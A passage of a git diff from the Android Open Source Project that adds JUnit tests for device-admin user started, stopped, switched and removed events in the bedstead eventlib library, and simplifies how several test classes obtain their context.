+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminUserRemovedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminUserRemovedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .log();
+
+        EventLogs<DeviceAdminUserRemovedEvent> eventLogs =
+                DeviceAdminUserRemovedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereRemovedUser_works() {
+        DeviceAdminUserRemovedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setRemovedUser(USER_HANDLE)
+                .log();
+
+        EventLogs<DeviceAdminUserRemovedEvent> eventLogs =
+                DeviceAdminUserRemovedEvent.queryPackage(sContext.getPackageName())
+                        .whereRemovedUser().isEqualTo(USER_HANDLE);
+
+        assertThat(eventLogs.poll().removedUser()).isEqualTo(USER_HANDLE);
+    }
+
+    @Test
+    public void whereRemovedUser_skipsNonMatching() {
+        DeviceAdminUserRemovedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setRemovedUser(DIFFERENT_USER_HANDLE)
+                .log();
+        DeviceAdminUserRemovedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setRemovedUser(USER_HANDLE)
+                .log();
+
+        EventLogs<DeviceAdminUserRemovedEvent> eventLogs =
+                DeviceAdminUserRemovedEvent.queryPackage(sContext.getPackageName())
+                        .whereRemovedUser().isEqualTo(USER_HANDLE);
+
+        assertThat(eventLogs.poll().removedUser()).isEqualTo(USER_HANDLE);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStartedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStartedEventTest.java
new file mode 100644
index 0000000..f1c7a37
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStartedEventTest.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserHandle;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminUserStartedEventTest {
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+    private static final Intent INTENT = new Intent();
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+    private static final UserHandle USER_HANDLE = UserHandle.of(1);
+    private static final UserHandle DIFFERENT_USER_HANDLE = UserHandle.of(2);
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereIntent_works() {
+        Intent intent = new Intent(STRING_VALUE);
+        DeviceAdminUserStartedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent, USER_HANDLE).log();
+
+        EventLogs<DeviceAdminUserStartedEvent> eventLogs =
+                DeviceAdminUserStartedEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereIntent_skipsNonMatching() {
+        Intent intent = new Intent(STRING_VALUE);
+        Intent differentIntent = new Intent();
+        differentIntent.setAction(DIFFERENT_STRING_VALUE);
+        DeviceAdminUserStartedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, differentIntent, USER_HANDLE).log();
+        DeviceAdminUserStartedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent, USER_HANDLE).log();
+
+        EventLogs<DeviceAdminUserStartedEvent> eventLogs =
+                DeviceAdminUserStartedEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminUserStartedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminUserStartedEvent> eventLogs =
+                DeviceAdminUserStartedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminUserStartedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminUserStartedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminUserStartedEvent> eventLogs =
+                DeviceAdminUserStartedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminUserStartedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE).log();
+
+        EventLogs<DeviceAdminUserStartedEvent> eventLogs =
+                DeviceAdminUserStartedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminUserStartedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminUserStartedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .log();
+
+        EventLogs<DeviceAdminUserStartedEvent> eventLogs =
+                DeviceAdminUserStartedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereStartedUser_works() {
+        DeviceAdminUserStartedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setStartedUser(USER_HANDLE)
+                .log();
+
+        EventLogs<DeviceAdminUserStartedEvent> eventLogs =
+                DeviceAdminUserStartedEvent.queryPackage(sContext.getPackageName())
+                        .whereStartedUser().isEqualTo(USER_HANDLE);
+
+        assertThat(eventLogs.poll().startedUser()).isEqualTo(USER_HANDLE);
+    }
+
+    @Test
+    public void whereStartedUser_skipsNonMatching() {
+        DeviceAdminUserStartedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setStartedUser(DIFFERENT_USER_HANDLE)
+                .log();
+        DeviceAdminUserStartedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setStartedUser(USER_HANDLE)
+                .log();
+
+        EventLogs<DeviceAdminUserStartedEvent> eventLogs =
+                DeviceAdminUserStartedEvent.queryPackage(sContext.getPackageName())
+                        .whereStartedUser().isEqualTo(USER_HANDLE);
+
+        assertThat(eventLogs.poll().startedUser()).isEqualTo(USER_HANDLE);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStoppedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStoppedEventTest.java
new file mode 100644
index 0000000..b58b7ae
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserStoppedEventTest.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserHandle;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminUserStoppedEventTest {
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+    private static final Intent INTENT = new Intent();
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+    private static final UserHandle USER_HANDLE = UserHandle.of(1);
+    private static final UserHandle DIFFERENT_USER_HANDLE = UserHandle.of(2);
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereIntent_works() {
+        Intent intent = new Intent(STRING_VALUE);
+        DeviceAdminUserStoppedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent, USER_HANDLE).log();
+
+        EventLogs<DeviceAdminUserStoppedEvent> eventLogs =
+                DeviceAdminUserStoppedEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereIntent_skipsNonMatching() {
+        Intent intent = new Intent(STRING_VALUE);
+        Intent differentIntent = new Intent();
+        differentIntent.setAction(DIFFERENT_STRING_VALUE);
+        DeviceAdminUserStoppedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, differentIntent, USER_HANDLE).log();
+        DeviceAdminUserStoppedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent, USER_HANDLE).log();
+
+        EventLogs<DeviceAdminUserStoppedEvent> eventLogs =
+                DeviceAdminUserStoppedEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminUserStoppedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminUserStoppedEvent> eventLogs =
+                DeviceAdminUserStoppedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminUserStoppedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminUserStoppedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminUserStoppedEvent> eventLogs =
+                DeviceAdminUserStoppedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminUserStoppedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE).log();
+
+        EventLogs<DeviceAdminUserStoppedEvent> eventLogs =
+                DeviceAdminUserStoppedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminUserStoppedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminUserStoppedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .log();
+
+        EventLogs<DeviceAdminUserStoppedEvent> eventLogs =
+                DeviceAdminUserStoppedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereStoppedUser_works() {
+        DeviceAdminUserStoppedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setStoppedUser(USER_HANDLE)
+                .log();
+
+        EventLogs<DeviceAdminUserStoppedEvent> eventLogs =
+                DeviceAdminUserStoppedEvent.queryPackage(sContext.getPackageName())
+                        .whereStoppedUser().isEqualTo(USER_HANDLE);
+
+        assertThat(eventLogs.poll().stoppedUser()).isEqualTo(USER_HANDLE);
+    }
+
+    @Test
+    public void whereStoppedUser_skipsNonMatching() {
+        DeviceAdminUserStoppedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setStoppedUser(DIFFERENT_USER_HANDLE)
+                .log();
+        DeviceAdminUserStoppedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setStoppedUser(USER_HANDLE)
+                .log();
+
+        EventLogs<DeviceAdminUserStoppedEvent> eventLogs =
+                DeviceAdminUserStoppedEvent.queryPackage(sContext.getPackageName())
+                        .whereStoppedUser().isEqualTo(USER_HANDLE);
+
+        assertThat(eventLogs.poll().stoppedUser()).isEqualTo(USER_HANDLE);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserSwitchedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserSwitchedEventTest.java
new file mode 100644
index 0000000..6c2d3cb
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserSwitchedEventTest.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserHandle;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminUserSwitchedEventTest {
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+    private static final Intent INTENT = new Intent();
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+    private static final UserHandle USER_HANDLE = UserHandle.of(1);
+    private static final UserHandle DIFFERENT_USER_HANDLE = UserHandle.of(2);
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereIntent_works() {
+        Intent intent = new Intent(STRING_VALUE);
+        DeviceAdminUserSwitchedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent, USER_HANDLE).log();
+
+        EventLogs<DeviceAdminUserSwitchedEvent> eventLogs =
+                DeviceAdminUserSwitchedEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereIntent_skipsNonMatching() {
+        Intent intent = new Intent(STRING_VALUE);
+        Intent differentIntent = new Intent();
+        differentIntent.setAction(DIFFERENT_STRING_VALUE);
+        DeviceAdminUserSwitchedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, differentIntent, USER_HANDLE).log();
+        DeviceAdminUserSwitchedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent, USER_HANDLE).log();
+
+        EventLogs<DeviceAdminUserSwitchedEvent> eventLogs =
+                DeviceAdminUserSwitchedEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminUserSwitchedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminUserSwitchedEvent> eventLogs =
+                DeviceAdminUserSwitchedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminUserSwitchedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminUserSwitchedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminUserSwitchedEvent> eventLogs =
+                DeviceAdminUserSwitchedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminUserSwitchedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE).log();
+
+        EventLogs<DeviceAdminUserSwitchedEvent> eventLogs =
+                DeviceAdminUserSwitchedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminUserSwitchedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminUserSwitchedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .log();
+
+        EventLogs<DeviceAdminUserSwitchedEvent> eventLogs =
+                DeviceAdminUserSwitchedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereSwitchedUser_works() {
+        DeviceAdminUserSwitchedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setSwitchedUser(USER_HANDLE)
+                .log();
+
+        EventLogs<DeviceAdminUserSwitchedEvent> eventLogs =
+                DeviceAdminUserSwitchedEvent.queryPackage(sContext.getPackageName())
+                        .whereSwitchedUser().isEqualTo(USER_HANDLE);
+
+        assertThat(eventLogs.poll().switchedUser()).isEqualTo(USER_HANDLE);
+    }
+
+    @Test
+    public void whereSwitchedUser_skipsNonMatching() {
+        DeviceAdminUserSwitchedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setSwitchedUser(DIFFERENT_USER_HANDLE)
+                .log();
+        DeviceAdminUserSwitchedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setSwitchedUser(USER_HANDLE)
+                .log();
+
+        EventLogs<DeviceAdminUserSwitchedEvent> eventLogs =
+                DeviceAdminUserSwitchedEvent.queryPackage(sContext.getPackageName())
+                        .whereSwitchedUser().isEqualTo(USER_HANDLE);
+
+        assertThat(eventLogs.poll().switchedUser()).isEqualTo(USER_HANDLE);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java
index ad736f9..7358538 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java
@@ -52,8 +52,7 @@
 
     private static final Instrumentation sInstrumentation =
             InstrumentationRegistry.getInstrumentation();
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
 
     @Before
     public void setUp() {
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibAppComponentFactoryTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibAppComponentFactoryTest.java
index 08b9865..b8f688d 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibAppComponentFactoryTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibAppComponentFactoryTest.java
@@ -49,9 +49,8 @@
     private static final String GENERATED_BROADCAST_RECEIVER_ACTION =
             "com.android.eventlib.GENERATED_BROADCAST_RECEIVER";
 
-    private static final TestApis sTestApis = new TestApis();
     private static final Context sContext =
-            sTestApis.context().instrumentedContext();
+            TestApis.context().instrumentedContext();
 
     @Test
     public void startActivity_activityDoesNotExist_startsLoggingActivity() {
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibBroadcastReceiverTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibBroadcastReceiverTest.java
index 21b9ee3..f18c4d1 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibBroadcastReceiverTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibBroadcastReceiverTest.java
@@ -46,8 +46,7 @@
     private static final String GENERATED_BROADCAST_RECEIVER_ACTION =
             "com.android.eventlib.GENERATED_BROADCAST_RECEIVER";
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
 
     @Before
     public void setUp() {
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibDeviceAdminReceiverTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibDeviceAdminReceiverTest.java
index fcca078..9f866d6 100644
